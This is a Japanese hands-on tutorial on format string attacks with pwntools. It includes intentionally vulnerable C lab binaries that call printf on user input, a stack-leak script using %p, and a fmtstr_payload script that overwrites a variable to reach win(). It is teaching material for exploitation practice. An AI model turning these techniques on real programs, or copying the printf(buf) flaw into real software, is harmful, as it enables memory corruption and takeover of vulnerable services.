Pwntools を用いた Format String Attack

Format String Attack の基礎的な事項についてのハンズオン.
コードは github で公開

検証環境

環境構築

問題バイナリの作成

// gcc -g format_string.c -o ../build/format_string
// objdump -d ../build/format_string -M intel > dump.txt
#include <stdio.h>

int target = 0;

int win(void) {
    puts("\n\nHello Format String Attack!");
}

int main(void) {
    // setup
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    // main
    printf("target address: %p\n", &target);

    printf("input: ");

    long secret_long = 0xdeadbeefabcdefff;
    char buf[0x100];
    fgets(buf, sizeof(buf), stdin);

    printf(buf);

    if (target == 0x12345678) {
        win();
    }
}

Format String 脆弱性について

Stack Leak

from pwn import *

# set binary path
context.binary = "../build/format_string"
elf = context.binary
sh = process()

# get prompt text
text = sh.recvuntil("input:".encode())
print("prompt: ", text.decode())

# send payload
payload = "aaaaaaaa %p %p %p %p %p %p %p %p %p".encode()
sh.sendline(payload)

sh.interactive()
aaaaaaaa 0x7e39f8803963 0xfbad208b 0x7ffcb34b9cd0 0x1 (nil) 0x1e0000 0xdeadbeefabcdefff 0x6161616161616161

Overwrite

書き込みを行うフォーマット指定子

書き換え

  1. 入力に対応する引数番号の確認
  2. 入力の先頭に書き換えたいアドレスを設置
  3. 文字数を調整したうえで対応する引数番号 k について %k$n のように指定子を置いて書き込みする (k 番目の引数に書き込みとなり, k番目の引数の先頭は入力であらかじめ設置したアドレスとなるため, アドレスを指定した書き換えが可能となる)
from pwn import *

# set binary path
context.binary = "../build/format_string"
elf = context.binary

sh = process()

# get target address
address_prompt = sh.recvuntil("address:".encode())
print(address_prompt.decode())
target_addr = int(sh.recvline().decode(), 16)
print("received address:", hex(target_addr))

# get prompt text
text = sh.recvuntil("input:".encode())
print("prompt: ", text.decode())

# send payload
address_dict = {target_addr: 0x12345678}
payload = fmtstr_payload(8, address_dict, numbwritten=0, write_size="byte")

sh.sendline(payload)

sh.interactive()
Hello Format String Attack!

練習問題

// gcc -g format_chal.c -o ../build/format_string
// objdump -d ../build/format_string -M intel > dump.txt
#include <stdio.h>
#include <stdint.h>
#include <sys/random.h> // for secret value, you doesn't need to hack this

void win(void) {
    puts("\n\nHello Format String Attack Lab!");
    puts("Lab Clear!!!!");
}

uint64_t key = 0;

int main(void) {
    // setup
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    // secret generation
    uint64_t secret; // random 64-bit value
    if (getrandom(&secret, sizeof(secret), 0) != sizeof(secret)) {
        return 1;
    }

    // main
    printf("key address: %p\n", (void *)&key);

    // fsb
    printf("input1: ");
    char buf[0x100];
    fgets(buf, sizeof(buf), stdin);
    printf(buf);

    printf("input2: ");
    fgets(buf, sizeof(buf), stdin);
    printf(buf);

    if ((secret ^ key) == 0xdeadbeef12345678) {
        win();
    }
}
Hello Format String Attack Lab!
Lab Clear!!!!

ヒント